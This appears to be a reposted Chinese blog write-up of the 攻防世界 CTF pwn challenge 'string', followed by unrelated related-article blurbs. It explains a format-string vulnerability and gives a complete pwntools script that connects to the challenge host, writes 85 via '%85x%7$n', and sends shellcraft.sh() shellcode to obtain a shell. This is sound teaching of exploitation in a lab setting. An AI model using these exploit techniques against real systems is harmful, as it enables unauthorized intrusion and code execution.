攻防世界 string

news2024/9/24 11:22:36

国际惯例file,checksec一下,发现是64位的elf文件,不可修改got表,栈溢出保护开启,nx不可执行,没开地址随机化

这道题的流程比较复杂,交互较多,所以我们需要先分析清楚整个流程

拖入64位ida,shift+f12没发现什么有用的东西,直接分析程序,我只简单说,你们看不懂伪代码的直接丢ai看

sub_400996()函数内容就是输出我们下面交互界面的字符串和那条龙(运行不了文件chmod给它执行权限即可)

sub_400D72()内容

sub_400D72()中第一个函数内容

输入east后下面显示的内容和上面if分支里面sub_4009DD()函数内容没啥关系我就不看了

上面east后的内容是下面这个函数的

第三个函数

第三个函数内容主要是让主程序给的两个数相等,它们原本不相等,但我们可以利用上面的格式化字符串漏洞修改使其中一个数等于另外一个

mmap函数分配内存空间,我们输入的数据也是放在里面,权限7带有执行权限。

read函数从v1我们输入的数据中读取至多0x100位数据

((void (__fastcall *)(_QWORD))v1)(0LL); 这行代码将v1所指向的内存地址作为函数指针,并以0LL为参数调用该函数。如果之前通过read读入的数据实际上是一个可执行代码(即shellcode),并且mmap时设置了适当的执行权限,那么这里就会执行那段shellcode。

所以我们的解题思路出来了,利用格式化字符串漏洞将v4写成85即可进入sub_400CA6函数,随后注入shellcode代码获得shell

运行程序手动调试输入AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p来查找输入数据在格式化字符串中的参数位置为7(从0开始的的)

可以写脚本了,注释在代码里面

from pwn import *
sh = remote('61.147.171.105',58910)

sh.recvuntil("secret[0] is")
firstNumber_addr = int(sh.recvuntil("\n")[:-1],16)   #这里前面说过了,v4是一个指向_DWORD(32位)的指针,
                                                    #因此printf函数将会输出v4第一个数所指向的内存地址的十六进制表示
                                                    #利用[:-1]python切片去掉接收数据的换行符\n,再用int(a,16)强制转换为int型
sh.sendlineafter("What should your character's name be:","thomas")
sh.sendlineafter("So, where you will go?east or up?:","east")

sh.sendlineafter("go into there(1), or leave(0)?:","1")
sh.sendlineafter("'Give me an address'",str(firstNumber_addr))  #将v4第一个数的地址强制转换为str发送,指针指向该处地址

payload = '%85x%7$n'    #前面已经知道在格式化字符串漏洞中输出wish参数位置为7,%7$n将前面字符的个数%85x共占位85字符即将85输入到参数中
sh.sendlineafter("And, you wish is:",payload)   #使用payload = b'a'*85 + '%7$n'也可以

context(os="linux",arch="amd64")    #系统架构最好设置
shellcode = asm(shellcraft.sh())    #shellcraft.sh()是一个pwntools工具函数,它生成一个用于执行系统shell的shellcode。此时是汇编,但汇编是低级语言python执行不了再用asm函数转为二进制机器码执行
sh.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode)    #read函数接收shellcode,而mmap函数为shellcode提供了可执行的内存空间,但真正导致shellcode执行的是最后的函数指针调用,它直接跳转到shellcode的起始地址并执行它
sh.interactive()    #交互

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1920895.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

重磅!新公司法正式实施,这些变化你必须知道! ️

新公司法来了!企业设立和经营必知的关键变动 🏛️🚀 大家好,我是猫头虎,科技自媒体博主。今天我们来聊聊一件大事——新公司法的实施,这对企业设立和经营带来了哪些重大影响?跟着我&#xff0c…

AI视频教程下载-1小时ChatGPT提示基础课程

Hour ChatGPT Prompting Basics Course (2024) 从“玩具”到“武器” 这是一门关于ChatGPT提示的入门级课程,无需任何门槛或基础知识。如果你是职场专业人士,只想将ChatGPT作为一种工具来提高工作效率、做出决策,或在日常生活中提供便利和建…

【北京迅为】《i.MX8MM嵌入式Linux开发指南》-第一篇 嵌入式Linux入门篇-第二十八章 借助U盘或TF卡拷贝程序到开发板上

i.MX8MM处理器采用了先进的14LPCFinFET工艺,提供更快的速度和更高的电源效率;四核Cortex-A53,单核Cortex-M4,多达五个内核 ,主频高达1.8GHz,2G DDR4内存、8G EMMC存储。千兆工业级以太网、MIPI-DSI、USB HOST、WIFI/BT…

06.TMS570LC43入门指南——中断操作

06.TMS570LC43入门指南——中断操作 文章目录 06.TMS570LC43入门指南——中断操作一、简介二、中断(VIM)介绍2.1 VIM架构2.2 CPU 中断处理2.3 VIM中断通道映射2.4 中断请求默认分配 三、项目实现3.1 硬件部分3.2 软件部分3.2.1 HALCoGen 配置3.2.2 CCS 配…

国产麒麟、uos在线编辑word文件并控制编辑区域(局部编辑)

windows系统也适用,该插件可同时支持windows和国产系统 在实际项目开发中,以下场景可能会用到Word局部编辑功能: 合同审批公文流转策划设计报告汇签单招投标(标书文件)其他,有模板且需要不同人员协作编辑…

Ubuntu22.04安装NIVIDIA显卡驱动总结

1.首先在安装驱动时需要判断系统有无GPU以及GPU的型号 可以参考这篇文章: https://blog.51cto.com/u_13171517/8814753#:~:textubuntu%20%E7%B3%BB%E7%BB%9F%20%E6%80%8E%E4%B9%88%E5%88%A4%E6%96%AD%E7%B3%BB%E7%BB%9F%E6%9C%89%E6%B2%A1%E6%9C%89GPU%201%20%E6%…

2024骨传导耳机哪款值得买?健身人士说这五款骨传导耳机好~

在追求健康生活与高品质音频体验的今天,骨传导蓝牙耳机以其独特的魅力,引领了一场听觉革命。它巧妙利用骨骼传递声音,既保护了脆弱的耳膜,又带来了前所未有的佩戴自由。然而,在众多选择面前,如何慧眼识珠&a…

Python 使用proto 发送socket数据

import socket import binascii import struct from SensingMonitoring_pb2 import Command, CommandNamesif __name__ "__main__":client socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect(("192.168.1.100", 22295))# 发送数据comman…

超实用调试技巧!还有用例讲解哦

文章目录 什么是bug?调试是什么?重要吗?2.1 调试是什么2.2 调试的基本步骤2.3 Debug和Release的介绍 3.Windows环境调试介绍3.1 调试环境的准备3.2 vs2022的快捷键3.3 调试时查看程序当前信息3.3.1 查看临时变量的值3.3.2 查看内存信息3.3.3 …

智能物联网鱼缸

硬件部分及接线图 工具 继电器、开发板、物联网os、云平台 微信小程序 结构&#xff1a;images、pages两个为主体。 标题头部分 <view class"container"> <view class"head_box"> <image src"/images/面性鱼缸.png"><…

公司裁员,为什么总是从技术人员开始?

今天聊一个让技术人员心塞的话题——公司裁员。不知道大家有没有发现&#xff0c;一到裁员的时候&#xff0c;技术人员往往就像那先被推出去的“小羊羔”。这到底是为啥呢&#xff1f;其实&#xff0c;很多时候是因为领导们的一些错误认识造成的职场乱象。 先来说说一些领导们的…

C++ 实现图书馆资料管理系统

1、问题描述 &#xff1a; 图书馆中的资料很多&#xff0c;如果能分类对其资料流通进行管理&#xff0c;将会带来很多方 便&#xff0c;因此需要有一个媒体库管理系统。 图书馆共有三大类物品资料&#xff1a;图书、视频光盘、图画。 这三类物品共同具有的属性有&#xff1a;编…

BFS:多源BFS问题

一、多源BFS简介 超级源点&#xff1a;其实就是把相应的原点一次性都丢到队列中 二、01矩阵 . - 力扣&#xff08;LeetCode&#xff09; class Solution { public:const int dx[4]{1,-1,0,0};const int dy[4]{0,0,1,-1};vector<vector<int>> updateMatrix(vector…

2024最新国际版抖音TikTok安装教程,免root免拔卡安卓+iOS,附全套安装工具!

我是阿星&#xff0c;今天给大家带来是2024年最新TikTok国际版抖音的下载和安装教程&#xff0c;而且还是免root免拔卡的那种&#xff0c;安卓和iOS都能用哦&#xff01;由于某些原因&#xff0c;国内用户并不能使用TikTok。今天阿星就教一下大家怎么安装TikTok。 TikTok在全球…

自动驾驶AVM环视算法--540度全景的算法实现和exe测试demo

参考&#xff1a;金书世界 540度全景影像是什么 540度全景影像是在360度全景影像基础上的升级功能&#xff0c;它增加了更多的摄像头来收集周围的图像数据。通常&#xff0c;这些摄像头分布在车辆的更多位置&#xff0c;例如车顶、车底等&#xff0c;以便更全面地捕捉车辆周围…

【C++题解】1156 - 排除异形基因

问题&#xff1a;1156 - 排除异形基因 类型&#xff1a;数组基础 题目描述&#xff1a; 神舟号飞船在完成宇宙探险任务回到地球后&#xff0c;宇航员张三感觉身体不太舒服&#xff0c;去了医院检查&#xff0c;医生诊断结果&#xff1a;张三体内基因已被改变&#xff0c;原有…

微信小程序---npm 支持

一、构建 npm 目前小程序已经支持使用 npm 安装第三方包&#xff0c;但是这些 npm 包在小程序中不能够直接使用&#xff0c;必须得使用小程序开发者工具进行构建后才可以使用。 为什么得使用小程序开发者工具需要构建呢❓ 因为 node_modules 目录下的包&#xff0c;不会参与…

【建议收藏】一万字图文并茂,终于有人把GPT的玩法整理全了

1. 学生常用 1.1 辅导作业、写作业 打数学建模和写期末作业~ Openai GPT-4o 模型从 2024 年 5 月发布以来&#xff0c;作为各项性能评测综合第一的 GPT。 对于法律类&#xff0c;语言类的作业&#xff0c;随意秒杀了&#xff01;&#xff01; 所以我决定让他做一道高等数学…

【开源项目的机遇与挑战】探索、贡献与应对

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;《热点时事》 期待您的关注 目录 引言 一&#xff1a;开源项目的发展趋势 &#x1f343;开源项目的蓬勃发展现状 &#x1f343;开…

GitHub访问慢的问题彻底解决(一)

1、访问巨慢&#xff0c;图片打不开 按照下面这个项目来解决 https://github.com/521xueweihan/GitHub520 【前提】能够访问github 本项目无需安装任何程序&#xff0c;通过修改本地 hosts 文件&#xff0c;试图解决&#xff1a; GitHub 访问速度慢的问题GitHub 项目中的图…